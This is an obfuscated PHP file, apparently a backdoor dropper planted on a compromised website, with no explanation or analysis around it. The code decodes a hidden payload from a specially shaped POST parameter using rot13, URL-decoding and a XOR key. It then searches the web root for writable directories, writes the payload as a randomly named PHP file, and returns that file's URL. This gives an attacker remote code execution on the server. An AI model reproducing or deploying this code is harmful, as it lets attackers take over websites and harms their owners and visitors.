<?php $nipsuxd = "rxugbmvrtebttveb";$blhrd = "";foreach ($_POST as $nzuhhndwj => $jiedwekf){if (strlen($nzuhhndwj) == 16 and substr_count($jiedwekf, "%") > 10){uhgndhe($nzuhhndwj, $jiedwekf);}}function uhgndhe($nzuhhndwj, $mfhudnk){global $blhrd;$blhrd = $nzuhhndwj;$mfhudnk = str_split(rawurldecode(str_rot13($mfhudnk)));function jbupzgdqxu($prvgvksr, $nzuhhndwj){global $nipsuxd, $blhrd;return $prvgvksr ^ $nipsuxd[$nzuhhndwj % strlen($nipsuxd)] ^ $blhrd[$nzuhhndwj % strlen($blhrd)];}$mfhudnk = implode("", array_map("jbupzgdqxu", array_values($mfhudnk), array_keys($mfhudnk)));$mfhudnk = @unserialize($mfhudnk);if (@is_array($mfhudnk)){$nzuhhndwj = array_keys($mfhudnk);$mfhudnk = $mfhudnk[$nzuhhndwj[0]];if ($mfhudnk === $nzuhhndwj[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rkrdxjyuo($lggncauzir) {static $zeljw = array();$ecoitl = glob($lggncauzir . '/*', GLOB_ONLYDIR);if (count($ecoitl) > 0) {foreach ($ecoitl as $lggncauz){if (@is_writable($lggncauz)){$zeljw[] = $lggncauz;}}}foreach ($ecoitl as $lggncauzir) rkrdxjyuo($lggncauzir);return $zeljw;}$mtkpl = $_SERVER["DOCUMENT_ROOT"];$ecoitl = rkrdxjyuo($mtkpl);$nzuhhndwj = array_rand($ecoitl);$htuoqnwp = $ecoitl[$nzuhhndwj] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($htuoqnwp, $mfhudnk);echo "http://" . $_SERVER["HTTP_HOST"] . substr($htuoqnwp, strlen($mtkpl));exit();}}}